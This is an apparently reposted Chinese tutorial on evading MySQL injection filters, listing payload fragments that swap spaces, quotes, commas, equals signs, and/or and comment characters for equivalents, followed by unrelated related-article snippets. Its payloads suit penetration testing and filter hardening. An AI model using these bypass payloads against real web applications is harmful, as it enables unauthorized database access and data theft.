MySQL注入秘籍【绕过篇】

MySQL注入秘籍【绕过篇】

  • 1.通用方法
  • 2.绕过空格
  • 3.绕过引号
  • 4.绕过逗号,
  • 5.绕过等号=
  • 6.绕过and/or
  • 7.绕过注释符
  • 8.绕过函数检测

1.通用方法

编码

编码无非就是hex、url等等编码,让传到数据库的数据能够解析的即可,比如URL编码一般在传给业务的时候就会自动解码

内联注释

可以插到括号中,但是必须要保证单词的完整

select 1/*!union*/select 2;
select /*!user(*/);
/*!41320select/*!/*!10000user/*!(/*!/*!/*!*/);

2.绕过空格

空格被过滤的情况,可以用如下的一些手法:

  1. 使用注释符
select/**/user();
select/*hahaha*/user();
  1. URL编码空格

使用URL编码 + 编码空格

  1. 其他URL编码(换行、Tab等)
%0d、%0a、%09%0b、%a0
  1. 使用括号

括号是用来包围子查询的;因此任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格

select(user())from(t_user);
  1. and/or后面的空格需要绕过

如果是and/or后面的空格需要绕过的话,可以跟上奇或者偶数个!、~来替代空格,也可以混合使用(规律有不同,可以自己本地尝试),and/or前的空格可用省略

select * from user where username="test"and!!!1=1;
select * from user where username="test"and~~~~1=1;
select * from user where username="test"and~~!!!~~1=1;

也可以用+、-来替代空格,and后有偶数个-即可,+的个数随意

select * from user where username="test"and------1=1;
select * from user where username="test"and+++---+++---+++1=1;

3.绕过引号

十六进制hex()

单/双引号被过滤,一般采用16进制绕过

例如:

-- 原语句
select table_name from information_schema.tables where table_schema='test';
-- 16进制后
select table_name from information_schema.tables where table_schema=0x74657374;

char()

除了上面的十六进制外,还可以用char函数连接起来

select table_name from information_schema.tables where table_schema='test';
-- char后
select table_name from information_schema.tables where table_schema=char(116,101,115,116);

4.绕过逗号,

针对普通情况(使用join)

-- 原语句
select user(),database();

-- 绕过
select * from (select user())a join (select database())b;

针对limit(使用offset)

-- 原语句
select * from t_user limit 1,1
-- 绕过
select * from t_user limit 1 offset 1;

针对切割函数

-- 原语句
select substr(username,1,1) from t_user;
-- 绕过
select substr(username from 1 for 1) from t_user;

5.绕过等号=

过滤了等号或者相关的匹配符,可以采用如下的一些手法来绕过

在这里插入图片描述


6.绕过and/or

因为and和or主要也是起到连接我们拼接语句的作用,那我们找其他类似功能的算术符等即可

select 1 && 0;
select 1 || 0;

7.绕过注释符

对注释符过滤的情况下,对我们来说问题可能就是语句不能正常执行

解决办法也很简单,用完整语句给他闭合就OK了,其他语句类似

# 原始
?id=1
# 完整闭合
?id=1' and expr and '1'='1

8.绕过函数检测

一些函数如ascii等被过滤,可以使用等价的函数进行绕过,如

在这里插入图片描述

版权声明:本文教程基于d4m1ts博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/2437.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【沐风老师】3DMAX交通流插件TrafficFlow使用方法详解

TrafficFlow交通流插件,模拟生成车流、人流动画。 【版本要求】 3dMax 2008及更高版本 【安装方法】 无需安装直接拖动插件脚本文件到3dMax视口中打开。 【快速开始】 1.创建车辆对象和行车路径。 2.打开TrafficFlow插件,先选择“车辆”对象&#xff0…

大数据处理学习笔记2.1 初识Spark

文章目录零、本节学习目标一、Spark的概述(一)Spark的组件1、Spark Core2、Spark SQL3、Spark Streaming4、MLlib5、Graph X6、独立调度器、Yarn、Mesos(二)Spark的发展史1、发展简史2、目前最新版本二、Spark的特点(一…

对void的深度理解

作者:小树苗渴望变成参天大树 作者宣言:认真写好每一篇博客 作者gitee:gitee 如 果 你 喜 欢 作 者 的 文 章 ,就 给 作 者 点 点 关 注 吧! void前言一、 void 关键字二、 void修饰函数返回值和参数三、void指针3.1void * 定义的…

BeanPostProcessor原理分析

文章目录一、BeanPostProcessor的作用1. 源码2. 使用案例二、Spring生命周期中的BeanPostProcessor三、BeanPostProcessor对PostConstruct的支持四、BeanPostProcessor中的顺序性五、总结一、BeanPostProcessor的作用 BeanPostProcessor提供了初始化前后回调的方法,…

百度文心一言正式亮相

OpenAI 刚发布了 GPT-4,百度预热已久的人工智能生成式对话产品也终于亮相了。昨天下午,文心一言 (ERNIE Bot)—— 百度全新一代知识增强大语言模型、文心大模型家族的新成员,正式在百度总部 “挥手点江山” 会议室里发布。 发布会一开场&…

Linux第一个小程序git三板斧

目录 1.Linux项目自动化构建工具 - make/makefile 1.1.makefile原理 1.2.项目清理 2.第一个小程序 - 进度条 3.git三板斧 1.Linux项目自动化构建工具 - make/makefile make是一条命令,makefile是一个文件,两个搭配使用,完成项目自动化构建。 …

HashData携手新炬网络 共推国产云数仓产业发展

3月22日,酷克数据宣布与国内知名IT智能运维服务商新炬网络签署战略合作协议,新炬网络成为酷克数据核心战略合作伙伴。 双方约定,将通过优势互补、资源共享的方式,建立长期合作模式和信息共享机制,在数据库相关领域展开…

Prometheus监控实战之Blackbox_exporter黑盒监测

1 Blackbox_exporter应用场景 blackbox_exporter是Prometheus官方提供的exporter之一,可以提供HTTP、HTTPS、DNS、TCP以及ICMP的方式对网络进行探测。 1.1 HTTP 测试 定义 Request Header信息 判断 Http status / Http Respones Header / Http Body内容 1.2 TC…

第二十二章 opengl之高级OpenGL(几何着色器)

OpenGL使用几何着色器用点造物体爆破物体法向量可视化在顶点和片段着色器之间有一个可选的几何着色器(Geometry Shader), 几何着色器的输入是一个图元(如点或三角形)的一组顶点。几何着色器可以在顶点发送到下一着色器阶段之前对它们随意变换…

基于YOLOv5的疲劳驾驶检测系统(Python+清新界面+数据集)

摘要:基于YOLOv5的疲劳驾驶检测系统使用深度学习技术检测常见驾驶图片、视频和实时视频中的疲劳行为,识别其闭眼、打哈欠等结果并记录和保存,以防止交通事故发生。本文详细介绍疲劳驾驶检测系统实现原理的同时,给出Python的实现代…

第十四届蓝桥杯三月真题刷题训练——第 19 天

第 1 题:灌溉_BFS板子题 题目描述 小蓝负责花园的灌溉工作。 花园可以看成一个 n 行 m 列的方格图形。中间有一部分位置上安装有出水管。 小蓝可以控制一个按钮同时打开所有的出水管,打开时,有出水管的位置可以被认为已经灌溉好。 每经过一分…

一文带你看懂电压放大器和功率放大器的区别

很多人对于电压放大器和功率放大器总是分不太清,在实际应用过程中,电压放大器和功率放大器所起到的作用都是相同的。对于功率放大器和电压放大器的区别,今天就让安泰电子来带我们一起看看。功率放大器和电压放大器的主要区别是:功…

花青染料Sulfo-Cyanine7 N3,Cy7 azide,Sulfo-Cy7 N3,用于点击化学的水溶NIR azide染料

●中文名:磺化花青素Cyanine7叠氮,磺化花青素Cy7叠氮●英文名:Sulfo-Cyanine7 azide,Sulfo-Cyanine7 N3,Sulfo-Cy7 azide,Sulfo-Cyanine7 N3【产品理化指标】:CAS号:N/A分子式&#…

应用层协议 HTTP HTTPS

目录 应用层 再谈 "协议" 序列化和反序列化 关于 json库 request序列化 request反序列化 response序列化 response反序列化 PS:命令宏 HTTP协议 认识URL urlencode和urldecode HTTP协议格式 HTTP请求 HTTP响应 请求方法 ​编辑 HT…

自动化测试学习(七)-正则表达式,你真的会用吗?

目录 一、正则表达式在python中如何使用 二、用正则表达式匹配更多模式 三、常用字符分类的缩写代码 总结 所谓正则表达式(regex),就是一种模式匹配,学会用正则匹配,就可以达到事半功倍的效果。 一、正则表达式在…

幸福的烦恼:显卡算力太高而pytorch版本太低不支持

NVIDIA GeForce RTX 3090 with CUDA capability sm_86 is not compatible with the current PyTorch installation. The current PyTorch install supports CUDA capabilities sm_37 sm_50 sm_60 sm_70.写在最前面项目场景:问题描述原因分析:解决方案&am…

Linux(网络基础---数据链接层)

文章目录0. 前言1. 以太网的帧格式2. 再谈局域网原理3. 汇总整体通信流程,补全细节3-1 理解MAC地址和IP地址3-2 MTU1. 认识MTU2. MTU对IP协议的影响3. MTU对UDP协议的影响4. MTU对于TCP协议的影响3-3 ARP协议1. 基本概念2. ARP协议的作用3. ARP数据报的格式4. 简述a…

ChatGPT能够改变时代吗?一点点思考

都知道ChatGPT的出现对整个世界产生了剧烈的影响,前不久出的ChatGPT4更是在ChatGPT3.5的基础上展现了更强的功能。比如说同一个问题,ChatGPT3.5还是乱答的,ChatGPT4已经能给出正确解了。当然这只能说明技术是进步的。 虽然如此,很…

图像识别模型

一、数据准备 首先要做一些数据准备方面的工作:一是把数据集切分为训练集和验证集, 二是转换为tfrecord 格式。在data_prepare/文件夹中提供了会用到的数据集和代码。首先要将自己的数据集切分为训练集和验证集,训练集用于训练模型…

内存泄漏定位工具之 valgrind

内存泄漏检测工具 文章目录内存泄漏检测工具一、valgrind介绍1. memcheck2. cachegrind3. helgrind二、源码下载三、命令操作1.memcheck 工具四、虚拟机下使用1. x86编译2. 正常程序测试3. 申请内存不释放测试4. 内存越界的测试5. 读写已经释放的内存五、ARM平台使用1.交叉编译…